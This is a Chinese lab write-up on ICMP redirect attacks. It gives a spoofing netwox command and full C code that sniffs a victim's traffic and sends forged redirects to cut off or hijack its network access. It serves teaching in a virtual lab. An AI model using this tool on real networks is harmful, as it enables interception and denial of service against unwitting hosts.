1. 程式人生 > >實驗二:ICMP重定向攻擊

實驗二:ICMP重定向攻擊

數據報 允許 eat 路由表 等待 ket 就會 tpi 虛擬

-:實驗原理

  ICMP重定向信息是路由器向主機提供實時的路由信息,當一個主機收到ICMP重定向信息時,它就會根據這個信息來更新自己的路由表。由於缺乏必要的合法性檢查,如果一個黑客想要被攻擊的主機修改它的路由表,黑客就會發送ICMP重定向信息給被攻擊的主機,讓該主機按照黑客的要求來修改路由表。

  在VMware虛擬環境中(Virtual Box不同),.2是充當網關的默認地址(通過route命令可以查看當前的網關和路由信息);所以攻擊者可以冒充.2發出重定向包,通知受害者修改自己的網關為攻擊者指定的gw地址;如果偽造的gw是自身,可以實現中間人攻擊或者DOS攻擊(沒有啟動IP轉發功能);如果是隨意IP(不能到達或不負責轉發),則可以導致DOS攻擊。

二:實驗步驟:

  1. 使用netwox體會實驗效果,使用netwox 86發送ICMP重定向包,

Netwox 86 –gw 192.168.137.220 –src-ip 192.168.137.2

其中-gw指定新的網關地址;--src-ip是當前網關地址;也即攻擊者冒充當前網關.2通知受害者修改自己的網關IP。

啟動wireshark,觀察netwox發出的數據包:

1) 通過wireshark抓包查看所發出的數據包的源IP是.2而不是攻擊者真實的IP;

2) 通過抓包,查看攻擊數據包的結構

技術分享

請註意,ICMP重定向報文除了ICMP包中的通用頭部之外,還包括原始IP頭部信息和數據報文的前8個字節。也即,在構造ICMP重定向包中,除了頭部之外,還需要額外的28字節(在IP頭部沒有可選字段的情況下)

3) 另外,註意觀察,netwox發出的ICMP重定向包的目的IP是受害者正通信的IP,也即,netwox先抓到受害者的數據包,根據捕獲包的IP地址,再構造攻擊包。

  1. 在充分了解實驗原理的基礎上,自己使用raw socket,寫出來一個icmp redirect包,達到使受害者不能正常上網的目的。

1) 關於raw socket語法,可以使用man socket;man raw;man packet等查看細節,可以運行參考代碼,並結合wireshark抓包查看代碼生成的數據包。

2) 原始套接字是一個特殊的套接字類型,但它的創建方式跟TCP/UDP創建方法幾乎是一摸一樣,例如,通過

int sockfd;
sockfd = socktet(AF_INET, SOCK_RAW, IPPROTO_ICMP);

原型:int socket (int domain, int type, int protocol)

功能描述:初始化創建socket對象,通常是第一個調用的socket函數。 成功時,返回非負數的socket描述符;失敗是返回-1。socket描述符是一個指向內部數據結構的指針,它指向描述符表入口。調用socket()函數時,socket執行體將建立一個socket,實際上"建立一個socket"意味著為一個socket數據結構分配存儲空間。socket執行體為你管理描述符表。

參數解釋:

domain -- 指明使用的協議族。常用的協議族有,AF_INET、AF_INET6、AF_LOCAL(或稱AF_UNIX,Unix域socket)、AF_ROUTE等等。協議族決定了socket的地址類型,在通信中必須采用對應的地址,如AF_INET決定了要用ipv4地址(32位的)與端口號(16位的)的組合、AF_UNIX決定了要用一個絕對路徑名作為地址。

type -- 指明socket類型,有3種:

SOCK_STREAM -- TCP類型,保證數據順序及可靠性;

SOCK_DGRAM -- UDP類型,不保證數據接收的順序,非可靠連接;

SOCK_RAW -- 原始類型,允許對底層協議如IP或ICMP進行直接訪問,不太常用。 protocol -- 通常賦值"0",由系統自動選擇。

#include <pcap.h>
#include <time.h>
#include <stdlib.h>
#include <stdio.h>
#include <netinet/in.h>  
#include<sys/socket.h>
#include<unistd.h>


#define MAX 1024
#define SIZE_ETHERNET 14

const unsigned char *Vic_IP = "10.211.55.4";//攻擊對象的ip
const unsigned char *Ori_Gw_IP = "10.211.55.1";//源網關ip
const unsigned char *Redic_IP = "10.211.55.3";//攻擊者ipo
int flag = 0;

/* IP header */
struct ip_header  
{  
#ifdef WORDS_BIGENDIAN  
  u_int8_t ip_version:4;  
  u_int8_t ip_header_length:4;  
#else  
  u_int8_t ip_header_length:4;  
  u_int8_t ip_version:4;  
#endif  
  u_int8_t ip_tos;  
  u_int16_t ip_length;  
  u_int16_t ip_id;  
  u_int16_t ip_off;  
  u_int8_t ip_ttl;  
  u_int8_t ip_protocol;  
  u_int16_t ip_checksum;  
  struct in_addr ip_source_address;  
  struct in_addr ip_destination_address;  
};  

//icmp 重定向報文頭
struct icmp_header  
{  
  u_int8_t icmp_type;  
  u_int8_t icmp_code;  
  u_int16_t icmp_checksum;  
  struct in_addr icmp_gateway_addr;

  //u_int16_t icmp_identifier;  
  //u_int16_t icmp_sequence;  
};  


/*計算校驗和*/  
u_int16_t checksum(u_int8_t *buf,int len)  
{  
    u_int32_t sum=0;  
    u_int16_t *cbuf;  
  
    cbuf=(u_int16_t *)buf;  
  
    while(len>1)
    {  
        sum+=*cbuf++;  
        len-=2;  
    }  
  
    if(len)  
        sum+=*(u_int8_t *)cbuf;  
  
        sum=(sum>>16)+(sum & 0xffff);  
        sum+=(sum>>16);  
  
        return ~sum;  
}  


void ping_redirect(int sockfd,const unsigned char *data,int datalen)
{ 
    char buf[MAX],*p;
    struct ip_header *ip;
    struct icmp_header *icmp;
    int len,i;
    struct sockaddr_in dest; 
    struct packet{
        struct iphdr ip;
        struct icmphdr icmp;
        char datas[28];
    }packet;



    //手動填充ip頭
    packet.ip.version = 4;
    packet.ip.ihl = 5;
    packet.ip.tos = 0;//服務類型
    packet.ip.tot_len = htons(56);
    packet.ip.id = getpid();
    packet.ip.frag_off = 0;
    packet.ip.ttl = 255;
    packet.ip.protocol = IPPROTO_ICMP;
    packet.ip.check = 0;
    packet.ip.saddr = inet_addr(Ori_Gw_IP);//要偽造網關發送ip報文
    packet.ip.daddr = inet_addr(Vic_IP);//將偽造重定向包發給受害者
    
    

    //手動填充icmp頭
    packet.icmp.type = ICMP_REDIRECT;
    packet.icmp.code = ICMP_REDIR_HOST;
    packet.icmp.checksum = 0;
    packet.icmp.un.gateway = inet_addr(Redic_IP);
    struct sockaddr_in dest =  {
        .sin_family = AF_INET,
        .sin_addr = {
            .s_addr = inet_addr(Vic_IP)
        }
    };
    //從源數據包的內存地址的起始地址開始,拷貝28個字節到目標地址所指的起始位置中
    //可以復制任何類型,而strcpy只能復制字符串
    memcpy(packet.datas,(data + SIZE_ETHERNET),28);//包裏數據
    packet.ip.check = checksum(&packet.ip,sizeof(packet.ip));
    packet.icmp.checksum = checksum(&packet.icmp,sizeof(packet.icmp)+28);
    //用於非可靠連接的數據數據發送,因為UDP方式未建立SOCKET連接,所以需要自己制定目的協議地址
    //(發送端套接字描述符,待發送數據的緩沖區,待發送數據長度IP頭+ICMP頭(8)+IP首部+IP前8字節,flag標誌位,一般為0,數據發送的目的地址,地址長度)
    sendto(sockfd,&packet,56,0,(struct sockaddr *)&dest,sizeof(dest));
    //printf("send\n");
}



//pcap_loop()不知道如何處理返回值,所以返回值為空,第一個參數是回調函數的最後一個參數,第二個參數是pcap.h頭文件定義的,包括數據包被嗅探的時間大小等信息,最後一個參數是一個u_char指針,它包含被pcap_loop()嗅探到的所有包(一個包包含許多屬性,它不止一個字符串,而是一個結構體的集合,如一個TCP/IP包包含以太網頭部,一個IP頭部還有TCP頭部,還有此包的有效載荷)這個u_char就是這些結構體的串聯版本。pcap嗅探包時正是用之前定義的這些結構體
void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
{
    int sockfd,res;
    int one = 1;
    int *ptr_one = &one;
    //printf("here!\n");
    //可以接收協議類型為ICMP的發往本機的IP數據包(通信的域,iPv4,套接字通信的類型,原始套接字,套接字類型,接收ICMP-》IP)
    //sockfd是socket描述符,為了以後將socket與本機端口相連
    if((sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0)
    {
        printf("create sockfd error\n");
        exit(-1);
    }
    //包裝自己的頭部
    //發送數據時,不執行系統緩沖區到socket緩沖區的拷貝,以提高系統性能,應為
    /**
     設置sockfd套接字關聯的選 項
     sockfd:指向一個打開的套接口描述字
     IPPROTO_IP:指定選項代碼的類型為IPV4套接口
     IP_HDRINCL:詳細代碼名稱(需要訪問的選項名字)
     ptr_one:一個指向變量的指針類型,指向選項要設置的新值的緩沖區
     sizeof(one):指針大小
    */
    res = setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL,ptr_one, sizeof(one));
    if(res < 0)
    {
        printf("error--\n");
        exit(-3);
    }
    ping_redirect(sockfd,packet,0);

}


int main()
{
    char errBuf[PCAP_ERRBUF_SIZE], * devStr;

    /* get a device */
    devStr = pcap_lookupdev(errBuf);//返回一個合適網絡接口的字符串指針,如果出錯,則返回errBuf出錯字符串,長度為PACP_ERRBUF_SIZE長度

    if(devStr)
    {
        printf("success: device: %s\n", devStr);
    }
    else
    {
        printf("error: %s\n", errBuf);
        exit(1);
    }

    /* open a device, wait until a packet arrives */
    //打開設備進行嗅探,返回一個pcap_t類型的指針,後面操作都要用到這個指針
    pcap_t * device = pcap_open_live(devStr, 65535, 1, 0, errBuf);     //獲得數據包捕獲描述字函數(設備名稱,參與定義捕獲數據的最大字節數,是否置於混雜模式,設置超時時間0表示沒有超時等待,errBuf是出錯返回NULL時用於傳遞錯誤信息)

    struct bpf_program filter;
    char filterstr[50]={0};
    sprintf(filterstr,"src host %s",Vic_IP);        //將vic_ip按照%s的格式寫入filterstr緩沖區
    //過濾通信,哪些包是用戶可以拿到的
    //表達式被編譯,編譯完就可使用了
    pcap_compile(device,&filter,filterstr,1,0);  //函數返回-1為失敗,返回其他值為成功
    //device:會話句柄
    //&filterstr:被編譯的過濾器版本的地址的引用
    //filterstr:表達式本身,存儲在規定的字符串格式裏
    //1:表達式是否被優化的整形量:0:沒有,1:有
    //0:指定應用此過濾器的網絡掩碼
    //設置過濾器,使用這個過濾器
    pcap_setfilter(device,&filter);
    //device:會話句柄
    //&filterstr:被編譯的表達式版本的引用
    /* wait loop forever */
    int id = 0;
    pcap_loop(device, -1, getPacket, NULL);
    //device是之前返回的pacp_t類型的指針,-1代表循環抓包直到出錯結束,>0表示循環x次,getPacket是回調函數,最後一個參數一般之置為null
    
    
    return 0;
}

實驗二:ICMP重定向攻擊